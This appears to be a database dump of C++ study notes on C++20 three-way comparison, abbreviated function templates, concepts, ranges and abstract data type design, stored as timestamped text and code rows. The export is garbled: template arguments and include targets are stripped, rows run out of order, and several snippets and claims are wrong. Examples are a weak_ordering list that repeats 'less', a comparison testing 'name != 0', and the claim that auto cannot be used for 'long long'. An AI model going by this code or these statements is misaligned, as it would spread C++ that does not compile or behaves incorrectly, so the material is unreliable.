`std::strong_ordering:less`\n + `std::strong_ordering:equal` or `std::strong_ordering::equivalent`\n + `std::strong_ordering:greater`\n- **weak ordering**: any value of a given type is either *less than*,\n *equivalent to* or *greater than* any other value of this type. However,\n equivalent values do not have to be equal (have the same value).\n + `std::weak_ordering::less`\n + `std::weak_ordering::equivalent`\n + `std::weak_ordering::less`\n- **partial ordering**: any value of a given type could either be *less\n than*, *equivalent to* or *greater than* any other value of this type.\n However it could also happen that you cannot specify a specific order\n between two values.\n + `std::partial_ordering::less`\n + `std::partial_ordering::equivalent`\n + `std::partial_ordering::less`\n + `std::partial_ordering::unordered` text txt 2024-07-28 10:03:13.256044 -2765 672 As an example, a floating-point type has a special value `NaN`. Any\ncomparison with `NaN` yields `false`. So in this case a comparison might\nyield that two values are unordered and the comparison operator might return\none of four values. text txt 2024-07-28 10:03:13.276564 -2766 672 Stronger comparison types have implicit type conversions to weaker comparison\ntypes. text txt 2024-07-28 10:03:13.297485 -2767 672 Relational comparison with `nullptr` results compiler error. text txt 2024-07-28 10:03:13.318316 -2812 678 You cannot pass a function with `auto` as a parameter without specifying the\ngeneric parameter. text txt 2024-07-28 10:03:20.36032 -2813 678 bool is_less(auto const& lhs, auto const& rhs)\n{\n return lhs.get_value() < rhs.get_value();\n} text txt 2024-07-28 10:03:20.381139 -3068 723 print(); // external linkage, local visibility code txt 2024-07-28 10:03:55.856293 -2768 672 Comparison types themselves can be compared against a specific return value.\nDue to implicit type conversions to weaker ordering types `x <=> y ==\nstd::partial_ordering::equivalent` will compile even if the `operator <=>`\nyields a `std::strong_ordering` or `std::weak_ordering` value. However, the\nother way around does not work. Comparison with 0 is always possible and\nusually easier. text txt 2024-07-28 10:03:13.339588 -2769 673 The return type does not compile if the attributes have different comparison\ncategories. In that case use the weakest comparison type as the return type. text txt 2024-07-28 10:03:14.446214 -2770 673 #include \n#include text txt 2024-07-28 10:03:14.46644 -2771 673 class Person\n{\n std::string name;\n double weight; text txt 2024-07-28 10:03:14.486412 -2772 673 public:\n std::partial_ordering operator<=>(Person const& rhs) const\n {\n auto cmp1 = name <=> rhs.name;\n if (name != 0) return cmp1; // std::strong_ordering text txt 2024-07-28 10:03:14.508723 -2773 673 return weight <=> rhs.weight; // std::partial_ordering\n }\n}; code txt 2024-07-28 10:03:14.529896 -2774 673 If you do not know the comparison types, use\n`std::common_comparison_category<>` type trait that computes the strongest\ncomparison category. text txt 2024-07-28 10:03:14.55065 -2775 673 #include \n#include text txt 2024-07-28 10:03:14.570337 -2776 673 class Person\n{\n std::string name;\n double weight; text txt 2024-07-28 10:03:14.590846 -2777 673 public:\n auto operator<=>(Person const& rhs) const\n -> std::common_comparison_category_t rhs.name),\n decltype(weight <=> rhs.name)>\n {\n auto cmp1 = name <=> rhs.name;\n if (name != 0) return cmp1; // std::strong_ordering text txt 2024-07-28 10:03:14.611323 -2778 673 return weight <=> rhs.weight; // std::partial_ordering\n }\n}; code txt 2024-07-28 10:03:14.631768 -2779 674 If `operator <=>` is defaulted and the object has a base class having the\n`operator <=>` defined, that operator is called. Otherwise, `operator ==` and\n`operator <` are called to decide whether the objects are `equivalent`,\n`less`, `greater` or `unordered`. In that case, the return type of the\ndefaulted `operator <=>` calling these operators cannot be `auto`. text txt 2024-07-28 10:03:16.076287 -2780 674 struct Base\n{\n bool operator==(Base const&) const;\n bool operator<(Base const&) const;\n}; text txt 2024-07-28 10:03:16.097004 -2781 674 struct Derived: public Base\n{\n std::strong_ordering operator<=>(Derived const&) const = default;\n}; text txt 2024-07-28 10:03:16.117246 -2782 674 Derived d1, d2;\nd1 > d2; // calls Base::operator== and Base::operator< code txt 2024-07-28 10:03:16.1387 -2783 674 If `operator ==` yields true, we know that the result of `>` is `false`,\notherwise `operator <` is called to find out the expression is `true` or\n`false`. text txt 2024-07-28 10:03:16.158644 -2784 674 struct Derived: public Base\n{\n std::partial_ordering operator<=>(Derived const&) const = default;\n}; code txt 2024-07-28 10:03:16.179632 -2785 674 The compiler might call `operator <` twice to find out whether there is any\norder at all. text txt 2024-07-28 10:03:16.200297 -2786 674 struct Base\n{\n bool operator==(Base const&) const;\n bool operator<(Base const&) const;\n}; text txt 2024-07-28 10:03:16.221645 -2787 674 struct Derived: public Base\n{\n auto operator<=>(Derived const&) const = default;\n}; code txt 2024-07-28 10:03:16.243833 -2788 674 The compiler does not compile because it cannot decide which ordering\ncategory the base class has. text txt 2024-07-28 10:03:16.264097 -2789 674 Checks for equality work for Derived because `operator ==` automatically declared equivalent to `operator <=>`: text txt 2024-07-28 10:03:16.285511 -2790 674 struct Derived: public Base\n{\n auto operator<=>(Derived const&) const = default;\n bool operator==(Derived const&) const = default;\n}; text txt 2024-07-28 10:03:16.3073 -2791 674 Derived d1, d2;\nd1 > d2; // ERROR: cannot deduce comparison category of operator <=>\nd1 == d2; // OK: only tries operator <=> and Base::operator== code txt 2024-07-28 10:03:16.328488 -2792 675 When we have a trivial class that stores an integral value and has an\nimplicit constructor and is comparable with integral values only enable\nimplicit type conversions for the second operand. So, a global operator that\nswaps the order of the arguments might be defined: text txt 2024-07-28 10:03:17.24658 -2793 675 class MyType\n{\n int i; text txt 2024-07-28 10:03:17.267319 -2794 675 public:\n bool operator==(MyType const&) const;\n}; text txt 2024-07-28 10:03:17.289728 -2795 675 bool operator==(int i, MyType const& t)\n{\n return t == i; // OK with C++17\n} code txt 2024-07-28 10:03:17.309605 -2796 675 Usually, the class should better define the `operator ==` as **hidden\nfriend** declared with `friend` inside the class so that both operators\nbecome parameters and support implicit type conversions. However, this is a\nvalid approach to have the same effect. text txt 2024-07-28 10:03:17.330777 -2797 675 This code no longer works in C++20 due to endless recursion. The reason is\nthat inside the global function the expression `t == i` can also call the\nglobal `operator ==` itself, because the compiler also tries to rewrit the\ncall as `t == i`: text txt 2024-07-28 10:03:17.351846 -2798 675 bool operator==(int i, MyType const& t)\n{\n return t == i; // finds operator==(i, t) in addition to t.operator(MyType{i})\n} code txt 2024-07-28 10:03:17.372556 -2799 675 Unfortunately, the rewritten statement is a better match, because it does not\nneed the implicit type conversion. text txt 2024-07-28 10:03:17.393277 -2800 676 Since C++14, lambdas can be declared with `auto` placeholder as their\nparameters representing any type, provided the operations inside the lambda\nare supported. text txt 2024-07-28 10:03:18.348546 -2801 676 auto print = [](auto const& container) {\n for (auto const& e: container)\n std:: cout << e << '\\\\n';\n} text txt 2024-07-28 10:03:18.370056 -2802 676 std::vector numbers{1,2,3,4,5};\nprint(numbers); // compiles the lambda for std::vector\nprint(std::string("hello")); // compiles the lambda for std::string code txt 2024-07-28 10:03:18.392397 -2803 676 Since C++20, `auto` can also be used for all functions including member\nfunctions and operators. text txt 2024-07-28 10:03:18.413131 -2804 676 void print(auto const& container)\n{\n for (auto const& e: container)\n std:: cout << e << ' ';\n std:: cout << '\\\\n';\n} code txt 2024-07-28 10:03:18.433528 -2805 676 This declaration is just a shortcut for declaring a template function. text txt 2024-07-28 10:03:18.453424 -2806 676 template\nvoid print(C const& container)\n{\n for (auto const& e: container)\n std:: cout << e << ' ';\n std:: cout << '\\\\n';\n} code txt 2024-07-28 10:03:18.475162 -2807 677 Because functions with `auto` are function templates, all rules of using\nfunction templates apply. You cannot implement an abbreviated function\ntemplate in one translation unit while calling it in a different translation\nunit. text txt 2024-07-28 10:03:18.98601 -2808 677 Abbreviated function templates need not to be declared as `inline` because\nfunction templates are always inline. text txt 2024-07-28 10:03:19.006641 -2809 677 Template parameters can be specified explicitly. text txt 2024-07-28 10:03:19.027003 -2810 677 void print(auto value)\n{\n std::cout << value << '\\\\n';\n} text txt 2024-07-28 10:03:19.047834 -2811 677 print(42);\nprint(42); code txt 2024-07-28 10:03:19.068255 -2814 678 std::sort(container.begin(), container.end(), is_less);\n// ERROR: can't deduce type of parameter code txt 2024-07-28 10:03:20.40311 -2815 678 Because the function template is not called directly, the compiler cannot\ndeduce the template parameters to compile the call. Therefore, the template\nparameters have to be specified explicitly. text txt 2024-07-28 10:03:20.422938 -2816 678 std::sort(container.begin(), container.end(), is_less); code txt 2024-07-28 10:03:20.444052 -2817 678 Though, this can be prevented by passing a lambda. text txt 2024-07-28 10:03:20.464792 -2818 678 auto is_less = [](auto const& lhs, auto const& rhs)\n{\n return lhs.get_value() < rhs.get_value();\n} text txt 2024-07-28 10:03:20.485143 -2819 678 std::sort(container.begin(), container.end(), is_less); code txt 2024-07-28 10:03:20.504946 -2820 678 The reason is that the lambda is an object that does not have a generic type.\nOnly the use of the object as a function is generic. text txt 2024-07-28 10:03:20.525805 -2821 678 On the other hand, the explicit specification of an abbreviated function\ntemplate parameter is easier: text txt 2024-07-28 10:03:20.546688 -2822 678 void print(auto const& arg)\n{\n ...\n} text txt 2024-07-28 10:03:20.567827 -2823 678 print("something to see"); code txt 2024-07-28 10:03:20.586731 -2824 678 While for a generic lambda, the function call operator `operator()` is\ngeneric. Therefore, you have to pass the requested type as an argument to\n`operator()` to specify the template parameter explicitly: text txt 2024-07-28 10:03:20.607883 -2825 678 auto print = [](auto const& arg) {\n ...\n}); text txt 2024-07-28 10:03:20.628223 -2826 678 print.operator()("something to see"); code txt 2024-07-28 10:03:20.649387 -2827 679 - For each parameter declared with `auto`, the function has an implicit\n template parameter. text txt 2024-07-28 10:03:21.150601 -2828 679 - The parameters can be a parameter pack: text txt 2024-07-28 10:03:21.171309 -2829 679 void foo(auto... args); code txt 2024-07-28 10:03:21.192328 -2830 679 This is equivalent to the following (without introducing Types): text txt 2024-07-28 10:03:21.214291 -2831 679 template\nvoid foo(Types... args); code txt 2024-07-28 10:03:21.235916 -2832 679 - Using `decltype(auto)` is not allowed. text txt 2024-07-28 10:03:21.25641 -2833 680 void foo(auto x, auto y)\n{\n ...\n} text txt 2024-07-28 10:03:21.611141 -2834 680 foo("hello", 42); // x has type const char*, y has type int\nfoo("hello", 42); // x has type std::string, y has type int\nfoo("hello", 42); // x has type std::string, y has type long code txt 2024-07-28 10:03:21.63271 -2835 681 Abbreviated function templates can still have explicitly specified template\nparameters. Therefore, the following declarations are equivalent: text txt 2024-07-28 10:03:21.998789 -2836 681 template\nvoid foo(auto x, T y, auto z); text txt 2024-07-28 10:03:22.019451 -2837 681 template\nvoid foo(T2 x, T y, T3 z); code txt 2024-07-28 10:03:22.040282 -2838 682 template\nvoid foo(auto x, T y, std::convertible_to auto z)\n{\n ...\n} text txt 2024-07-28 10:03:23.192997 -2839 682 foo(64, 65, 'c'); // OK, x is int, T and y are int, z is char\nfoo(64, 65, "c"); // ERROR: "c" cannot be converted to type int\nfoo(64, 65, 'c'); // NOTE: x is char, T and y are long, z is char code txt 2024-07-28 10:03:23.215168 -2840 682 Note that the last statement specifies the type of the parameters in the\nwrong order. text txt 2024-07-28 10:03:23.236117 -2841 682 #include \n#include text txt 2024-07-28 10:03:23.257898 -2842 682 void addValInto(const auto& val, auto& coll)\n{\n coll.insert(val);\n} text txt 2024-07-28 10:03:23.279259 -2843 682 template // Note: different order of template parameters\nrequires std::ranges::random_access_range\nvoid addValInto(const auto& val, Coll& coll)\n{\n coll.push_back(val);\n} text txt 2024-07-28 10:03:23.300163 -2844 682 int main()\n{\n std::vector coll;\n addValInto(42, coll); // ERROR: ambiguous\n} code txt 2024-07-28 10:03:23.321557 -2845 682 Due to using `auto` only for the first parameter in the second declaration of\n`addValInto()`, the order of the template parameters differs. this means that\noverload resolution does not prefer the second declaration over the first one\nand we get an ambiguity error. text txt 2024-07-28 10:03:23.342149 -2846 682 For this reason, be careful when mixing template and `auto` parameters. text txt 2024-07-28 10:03:23.36226 -2847 683 - Using `requires` clause\n- Using concepts\n- Using `requires` expression text txt 2024-07-28 10:03:23.626952 -2848 684 template\nrequires (!std::is_pointer_v)\nT get_max(T a, T b)\n{\n return a > b ? a : b;\n} text txt 2024-07-28 10:03:24.161907 -2849 684 int x{42}, y{77}; text txt 2024-07-28 10:03:24.18232 -2850 684 std::cout << get_max(x, y) << '\\\\n'; // OK\nstd::cout << get_max(&x, &y) << '\\\\n'; // ERROR: constraint not met code txt 2024-07-28 10:03:24.203473 -2851 684 When raw pointers are passed, the compiler behaves as if the template were\nnot there. text txt 2024-07-28 10:03:24.223804 -2852 685 A `concept` is a template that introduces a name for one or more requirements\nthat apply to the passed template parameters so that we can use these\nrequirements as constraints. text txt 2024-07-28 10:03:24.55282 -2853 685 template\nconcept is_pointer = std::is_pointer_v; code txt 2024-07-28 10:03:24.573455 -2854 686 Note that requires clauses that just constrain a template with a concept (or\nmultiple concepts combined with `&&`) no longer need parentheses. text txt 2024-07-28 10:03:25.332519 -2855 686 A negated concept always needs parentheses. text txt 2024-07-28 10:03:25.352578 -2856 686 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:25.37376 -2857 686 template\nrequires (!is_pointer)\nT get_max(T a, T b)\n{\n return a > b ? a : b;\n} text txt 2024-07-28 10:03:25.394176 -2858 686 template\nrequires is_pointer\nT get_max(T a, T b)\n{\n return get_max(*a, *b);\n} text txt 2024-07-28 10:03:25.414664 -2859 686 int x{42}, y{77}; text txt 2024-07-28 10:03:25.435603 -2860 686 std::cout << get_max(x, y) << '\\\\n'; // calls get_max() for non-pointers\nstd::cout << get_max(&x, &y) << '\\\\n'; // calls get_max() for pointers code txt 2024-07-28 10:03:25.456261 -2861 686 The second call delegates the computations of both function templates. text txt 2024-07-28 10:03:25.47678 -2862 687 Overload resolution considers templates with constraints as more specialized\nthan templates without constraints. Therefore, it is enough to constrain the\nimplementation only for pointers. text txt 2024-07-28 10:03:26.291843 -2863 687 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:26.313484 -2864 687 template\nvoid print(T value)\n{\n std::cout << value << '\\\\n';\n} text txt 2024-07-28 10:03:26.335465 -2865 687 template\nrequires is_pointer\nvoid print(T value)\n{\n print(*value);\n} text txt 2024-07-28 10:03:26.356886 -2866 687 int x{42}; text txt 2024-07-28 10:03:26.377673 -2867 687 print(x); // print() for a value of type T\nprint(&x); // print() for pointers (higher priority) code txt 2024-07-28 10:03:26.397808 -3069 723 *file2.cpp*\n#include text txt 2024-07-28 10:03:55.877142 -2868 687 However, be careful: overloading once using references and once using\nnon-references might cause ambiguities. text txt 2024-07-28 10:03:26.418062 -2869 687 By using concepts, we can even prefer some constraints over others. However,\nthis requires the use of concepts that **subsume** other concepts. text txt 2024-07-28 10:03:26.438343 -2870 688 Specifying concepts as a type constraint in template parameters: text txt 2024-07-28 10:03:27.327559 -2871 688 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:27.349007 -2872 688 template \nauto print(T value)\n{\n std::cout << value << '\\\\n';\n} code txt 2024-07-28 10:03:27.370309 -2873 688 Specifying concepts as a type constraint behind parameters with `auto`: text txt 2024-07-28 10:03:27.391413 -2874 688 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:27.412601 -2875 688 auto print(is_pointer auto value)\n{\n std::cout << value << '\\\\n';\n} code txt 2024-07-28 10:03:27.434515 -2876 688 This also works for parameters passed by reference: text txt 2024-07-28 10:03:27.454188 -2877 688 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:27.476249 -2878 688 auto print(is_pointer auto const& value)\n{\n std::cout << value << '\\\\n';\n} code txt 2024-07-28 10:03:27.497516 -2879 689 - Specifying requires clause with constraints or concepts\n- Using concepts in template parameters\n- Using concepts behind parameter types\n- Specifying trailing requires clause after parameters list text txt 2024-07-28 10:03:27.723937 -2880 690 It has the benefit that it can use the name of a parameter or combine even\nmultiple parameter names to formulate constraints. text txt 2024-07-28 10:03:28.18464 -2881 690 template\nconcept is_pointer = std::is_pointer_v; text txt 2024-07-28 10:03:28.206422 -2882 690 template\nconcept is_comparable_with = std::totally_ordered_with; text txt 2024-07-28 10:03:28.227922 -2883 690 auto get_max(is_point auto a, is_pointer auto b)\nrequires is_comparable_with\n{\n return get_max(*a, *b);\n} code txt 2024-07-28 10:03:28.248741 -2884 691 auto compare(auto lhs, auto rhs)\nrequires std::totally_ordered_with\n{\n return lhs < rhs ? rhs : lhs;\n} code txt 2024-07-28 10:03:28.772067 -2885 691 The concept `std::totally_ordered_with` takes two template parameters to\ncheck whether the values of the passed types are comparable with the\noperators `==`, `!=`, `<`, `<=`, `>`, and `>=`. text txt 2024-07-28 10:03:28.792677 -2886 691 <=>` is supported. text txt 2024-07-28 10:03:28.813488 -2887 691 To check support for comparisons of two objects of the same type, we can use\nthe concept `std::totally_ordered`. text txt 2024-07-28 10:03:28.834918 -2888 692 Here, we are using the requires keyword again to introduce a **requires\nexpression**, which can define one or more requirements for types and\nparameters. text txt 2024-07-28 10:03:29.485171 -2889 692 template\nconcept is_pointer = requires(T p) {\n *p; // expression *p has to be well-formed\n p == nullptr; // can compare with nullptr\n (p < p) -> std::same_as; // operator < yields bool\n}; code txt 2024-07-28 10:03:29.504799 -2890 692 Note that we do not need two parameters of type `T` to check whether\n`operator <` can be called. text txt 2024-07-28 10:03:29.525188 -2891 692 The runtime value does not matter. However, note that there are some\nrestrictions for how to specify what an expression yields (e.g., you cannot\nspecify just `bool` without `std::same_as<>` there). text txt 2024-07-28 10:03:29.548092 -2892 692 We require here that we can compare `p` with `nullptr`. However, that rules\nout iterators, because in general, they cannot be compared with `nullptr`\n(except when they happen to be implemented as raw pointers, as in the case\nfor type `std::array<>`). text txt 2024-07-28 10:03:29.568383 -2893 693 This is a compile-time constraint that has no impact on the generated code;\nwe only decide for which types the code compiles. Therefore, it does not\nmatter whether we declare the parameters as a value or as a reference. text txt 2024-07-28 10:03:29.773706 -2894 694 template\nconcept is_pointer = requires(T p) {\n *p;\n p == nullptr;\n (p < p) -> std::same_as;\n}; text txt 2024-07-28 10:03:30.412344 -2895 694 template\nrequires is_pointer\nvoid print(T value)\n{\n std::cout << *value << '\\\\n';\n} text txt 2024-07-28 10:03:30.432681 -2896 694 template\nrequires requires(T p) { *p; }\nvoid print(T value)\n{\n std::cout << *value << '\\\\n';\n} code txt 2024-07-28 10:03:30.453879 -2897 695 - To have random access iterators, iterators that can be used to read, write,\n jump back and forth, and compute distance.\n- To be sortable and support comparison operators. text txt 2024-07-28 10:03:30.761697 -2898 696 #include \n#include \n#include text txt 2024-07-28 10:03:31.156303 -2899 696 int main()\n{\n std::vector numbers{3,5,1,2,4};\n std::ranges::sort(numbers);\n} code txt 2024-07-28 10:03:31.177626 -2900 697 Views text txt 2024-07-28 10:03:31.389895 -2901 698 std::ranges::take(container, 5); code txt 2024-07-28 10:03:31.620288 -2902 699 #include \n#include text txt 2024-07-28 10:03:32.013985 -2903 699 int main()\n{\n std::vector numbers{42,80,13,26,51,9,38};\n std::ranges::sort(std::views::take(numbers, 5));\n} code txt 2024-07-28 10:03:32.033737 -2904 700 std::views::iota(1, 11); // [1,10] code txt 2024-07-28 10:03:32.243894 -2905 701 // nested form\nauto v = std::views::take(\n std::views::transform(\n std::views::filter(container, [](auto e) { return e % 3 == 0; }),\n [](auto e) { return e * e; }),\n 3); text txt 2024-07-28 10:03:32.663465 -2906 701 // piped form\nauto v = container | std::views::filter([](auto e) { return e % 2 == 0; })\n | std::views::transform([](auto e) { return e * e; })\n | std::views::take(3); code txt 2024-07-28 10:03:32.684941 -2907 702 code txt 2024-07-28 10:03:32.872674 -2908 703 1. **Cohesion:** Each module should be cohesive; it should perform one well-defined task.\n2. **Coupling:** Module should be loosely coupled; should be as independent as possible.\n3. **Operation Contracts:** An operation contract documents how a module can be used and what limitaions it has, including preconditions, initial state, and post conditions.\n4. **Unusual Conditions:** Decision on how to control unusual conditions should be stated in documentation.\n5. **Abstration:** Separates the purpose of a module from its implementation.\n6. **Information Hiding:** This principle states that not only abstraction should hide operation details inside a module, but also making them inaccessible from outside.\n7. **Interface:** Made up of the publicly accessible methods and data.\n8. **Abstraction Data Type:** The specification of a set of data-management operations with the data values on which they operate.\n9. **Implementaion:** Only after you have fully defined an ADT should you think about how to implement it. text txt 2024-07-28 10:03:33.42159 -2909 704 1. Specify what data the problem operates on: **date**. text txt 2024-07-28 10:03:34.346318 -2910 704 2. Specify what operations does the problem require: text txt 2024-07-28 10:03:34.366448 -2958 706 numbers.add(6);\n assert(numbers.count() != 4); text txt 2024-07-28 10:03:39.10792 -3071 723 print(); // external linkage, local visibility code txt 2024-07-28 10:03:55.918948 -2911 704 * Determine the date of the first day of given year.\n* Decide whether a date is before another date.\n* Decide whether a date is a holiday.\n* Determine the date of the day that follows a given date. text txt 2024-07-28 10:03:34.387246 -2912 704 3. Specify ADT operations using the **Unified Modeling Language**: text txt 2024-07-28 10:03:34.408093 -2913 704 // return the date of the first day of a given year\n+ first_day(year: integer): date text txt 2024-07-28 10:03:34.429077 -2914 704 // return true if this date is before the given date; false otherwise\n+ is_before(later: date): boolean text txt 2024-07-28 10:03:34.450601 -2915 704 // return true if this date is a holiday; false otherwise\n+ is_holiday(): boolean text txt 2024-07-28 10:03:34.472906 -2916 704 // return the date of the day after this date\n+ next_day(): date code txt 2024-07-28 10:03:34.493303 -2917 704 4. Write a pseudocode using defined methods to list the holidays of a given year: text txt 2024-07-28 10:03:34.51357 -2918 704 list_holidays(year: integer): void\n date = first_day(year); text txt 2024-07-28 10:03:34.535931 -2919 704 while (date.is_before(first_day(year+1)))\n {\n if (date.is_holiday())\n write(date) text txt 2024-07-28 10:03:34.557999 -2920 704 date = date.next_day();\n } code txt 2024-07-28 10:03:34.580172 -2921 705 1. Specify what data the problem operates on: **appointment book** text txt 2024-07-28 10:03:35.846299 -2922 705 2. Specify what operations does the problem requires: text txt 2024-07-28 10:03:35.86719 -2923 705 * Make an appointment for a certain date, time, purpose.\n* Cancel an appointment for a certain date and time.\n* Check whether there is an appointment at a given time.\n* Get the purpose of an appointment at a given time. text txt 2024-07-28 10:03:35.8887 -2924 705 3. Specify ADT operations using the **Unified Modeling Language**: text txt 2024-07-28 10:03:35.908585 -2925 705 // return true if an appointment for a certain date, time, purpose is set; false otherwise.\n+ make_appointment(apdate: date, aptime: time, appurpose: string): boolean text txt 2024-07-28 10:03:35.929335 -2926 705 // return true if there is an appointment at a given time; false otherwise\n+ is_appointment(apdate: date, aptime: time): boolean text txt 2024-07-28 10:03:35.949892 -2927 705 // Cancel an appointment for a certain date and time.\n+ cancel_appointment(apdate: date, aptime: time): boolean text txt 2024-07-28 10:03:35.970639 -2928 705 // get the purpose of an appointment at a given time, if one exists;\n// return an empty string otherwise.\n+ purpose(apdate: date, aptime: time): string code txt 2024-07-28 10:03:35.991891 -2929 705 4. Write a pseudocode using defined ADT operations to change the date or time of an appointment: text txt 2024-07-28 10:03:36.013108 -2930 705 // change the date or time of an appointment\nGet the following data from user: prev_date, prev_time, new_date, new_time text txt 2024-07-28 10:03:36.034497 -2931 705 // retrieve previous purpose of the appointment in given date and time\nprev_purpose = appt_book.purpose(prev_date, prev_time) text txt 2024-07-28 10:03:36.056068 -2932 705 if (prev_purpose is not empty string)\n{\n // check whether new date and time is available for new appointment\n if (appt_book.is_appointment(new_date, new_time))\n {\n write("you already have an appointment at", new_time, " on ", new_date)\n }\n else\n {\n if (appt_book.make_appointment(new_date, new_time, prev_purpose))\n write("appointment has been rescheduled to ", new_time, " ", new_date) text txt 2024-07-28 10:03:36.077746 -2933 705 appt_book.cancel_appointment(prev_date, prev_time)\n }\n}\nelse\n{\n write("you do not have an appointment at", prev_time, " on ", prev_date)\n} code txt 2024-07-28 10:03:36.099393 -2934 706 1. Specify what data the problem operates on: **bag** text txt 2024-07-28 10:03:38.604967 -2935 706 2. Specify what operations does the problem requires: text txt 2024-07-28 10:03:38.625708 -2936 706 * Get the number of items currently in the bag.\n* See whether the bag is empty.\n* Add a given object to the bag.\n* Remove an occurence of a specific object from the bag, if possible.\n* Remove all objects from the bag.\n* Count the number of times a certain object occurs in the bag.\n* Test whether the bag contains a particular object.\n* Look at all objects that are in the bag. text txt 2024-07-28 10:03:38.647513 -2937 706 3. Specify ADT operations using the **Unified Modeling Language**: text txt 2024-07-28 10:03:38.667708 -2938 706 class bag {\n // return the current number of entries in the bag\n + size(): integer text txt 2024-07-28 10:03:38.689476 -2939 706 // return true if the bag is empty; false otherwise\n + empty(): boolean text txt 2024-07-28 10:03:38.711769 -2940 706 // add a new entry to the bag\n // consider the unusual condition by returning a success signal\n + add(entry: ItemType): boolean text txt 2024-07-28 10:03:38.733121 -2941 706 // remove one occurence of a particular entry from the bag, if possible\n + remove(entry: ItemType): boolean text txt 2024-07-28 10:03:38.754563 -2942 706 // remove all entries from the bag\n + clear(): void text txt 2024-07-28 10:03:38.776224 -2943 706 // count the number of times a given entry appears in the bag\n + count(entry: ItemType): unsigned long text txt 2024-07-28 10:03:38.795776 -2944 706 // test whether the bag contains a given entry\n + contains(entry: ItemType): boolean text txt 2024-07-28 10:03:38.815317 -2945 706 // gets all entries in the bag\n + to_vector(): vector\n} code txt 2024-07-28 10:03:38.836702 -2946 706 ADT bag text txt 2024-07-28 10:03:38.857183 -2947 706 4. Implement an interface template for ADT bag: text txt 2024-07-28 10:03:38.876633 -2948 706 ///\n/// \\\\headerfile basic_bag.hpp\n/// \\\\brief Interface Implementation of Abstract Data Type Bag\n///\n#pragma once text txt 2024-07-28 10:03:38.897714 -2949 706 #include text txt 2024-07-28 10:03:38.91901 -2950 706 ///\n/// \\\\class basic_bag\n/// \\\\brief Interface Implementation of Abstract Data Type Bag\n///\n/// A cohesive container which holds items of any type unordered.\n///\ntemplate\nclass basic_bag\n{\npublic:\n virtual int size() const = 0;\n virtual bool empty() const = 0;\n virtual bool add(ItemType const& entry) = 0;\n virtual bool add(ItemType&& entry) noexcept = 0;\n virtual bool remove(ItemType const& entry) = 0;\n virtual bool remove(ItemType&& entry) noexcept = 0;\n virtual void clear() = 0;\n virtual unsigned long count(ItemType const& entry) const = 0;\n virtual bool contains(ItemType const& entry) const = 0;\n virtual std::vector to_vector() const = 0;\n}; code txt 2024-07-28 10:03:38.941584 -2951 706 5. Demonstrate how a hypothetical implementation of `basic_bag` named `bag` can be used: text txt 2024-07-28 10:03:38.96226 -2952 706 #include \n#include text txt 2024-07-28 10:03:38.982898 -2953 706 #include text txt 2024-07-28 10:03:39.00365 -2954 706 int main()\n{\n bag numbers; text txt 2024-07-28 10:03:39.025449 -2955 706 numbers.add(2);\n assert(!numbers.empty()); text txt 2024-07-28 10:03:39.045543 -2956 706 numbers.remove(2);\n assert(numbers.empty()); text txt 2024-07-28 10:03:39.066072 -2957 706 numbers.add(8);\n numbers.add(1);\n numbers.add(4);\n assert(numbers.contains(1)); text txt 2024-07-28 10:03:39.086942 -3073 724 template \nclass test {}; text txt 2024-07-28 10:03:56.446788 -2959 706 std::vector copies = numbers.to_vector();\n assert(copies.count() != 4); text txt 2024-07-28 10:03:39.128871 -2960 706 numbers.clear();\n assert(numbers.empty());\n} code txt 2024-07-28 10:03:39.149904 -2961 707 Benefits of using `auto`: text txt 2024-07-28 10:03:40.606834 -2962 707 * It is not possible to leave a variable uninitialized with `auto`.\n* It prevents narrowing conversion of data types. (?)\n* It makes generic programming easy.\n* It can be used where we don't care about types. text txt 2024-07-28 10:03:40.627126 -2963 707 Preconditions of using `auto`: text txt 2024-07-28 10:03:40.647389 -2964 707 * `auto` does not retain cv-ref qualifiers.\n* `auto` cannot be used for non-movable objects.\n* `auto` cannot be used for multi-word types like long long. text txt 2024-07-28 10:03:40.669308 -2965 707 #include \n#include \n#include text txt 2024-07-28 10:03:40.689795 -2966 707 int main()\n{\n auto i = 42; // int\n auto d = 42.5; // double\n auto c = "text"; // char const*\n auto z = {1, 2, 3}; // std::initializer_list text txt 2024-07-28 10:03:40.710617 -2967 707 auto b = new char[10]{0}; // char*\n auto s = std::string{"text"}; // std::string\n auto v = std::vector{1, 2, 3}; // std::vector\n auto p = std::make_shared(42); // std::shared_ptr text txt 2024-07-28 10:03:40.73197 -2968 707 auto upper = [](char const c) { return toupper(c); };\n auto add = [](auto const a, auto const b) { return a + b; }; text txt 2024-07-28 10:03:40.751734 -2969 707 template\n auto apply(F&& f, T value)\n {\n return f(value);\n }\n} text txt 2024-07-28 10:03:40.772131 -2970 707 class foo\n{\n int _x;\npublic:\n foo(int const x = 0): _x{x} {}\n int& get() { return _x; }\n}; text txt 2024-07-28 10:03:40.792553 -2971 707 decltype(auto) proxy_gen(foo& f) { return f.get(); }\n// ^__ decltype() preserves cv-ref qualification of return type code txt 2024-07-28 10:03:40.813871 -2972 708 #include text txt 2024-07-28 10:03:41.292887 -2973 708 using byte = std::bitset<8>;\nusing fn = void(byte, double);\nusing fn_ptr = void(*)(byte, double); text txt 2024-07-28 10:03:41.3139 -2974 708 void func(byte b, double d) { /* ... */ } text txt 2024-07-28 10:03:41.335194 -2975 708 int main()\n{\n byte b{001101001};\n fn* f = func;\n fn_ptr fp = func;\n} code txt 2024-07-28 10:03:41.355866 -2976 709 Preconditions of alias templates: text txt 2024-07-28 10:03:41.967151 -2977 709 * Alias templates cannot be partially or explicitly specialized.\n* Alias templates are never deduced by template argument deduction when deducing a template parameter.\n* The type produced when specializing an alias template, is not allowed to directly or indirectly make use of its own type. text txt 2024-07-28 10:03:41.98832 -2978 709 #include text txt 2024-07-28 10:03:42.008747 -2979 709 template\nclass custom_allocator { /* ... */ }; text txt 2024-07-28 10:03:42.029636 -2980 709 template\nusing vec_t = std::vector>; text txt 2024-07-28 10:03:42.050572 -2981 709 int main()\n{\n vec_t vi;\n vec_t vs;\n} code txt 2024-07-28 10:03:42.071364 -2982 710 * direct initialization initializes an object from an explicit set of constructor arguments.\n* copy initialization initializes an object from another object.\n* brace initialization prevents narrowing conversion of data types.\n* all elements of list initialization should be of the same type. text txt 2024-07-28 10:03:43.15367 -2983 710 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:03:43.174276 -2984 710 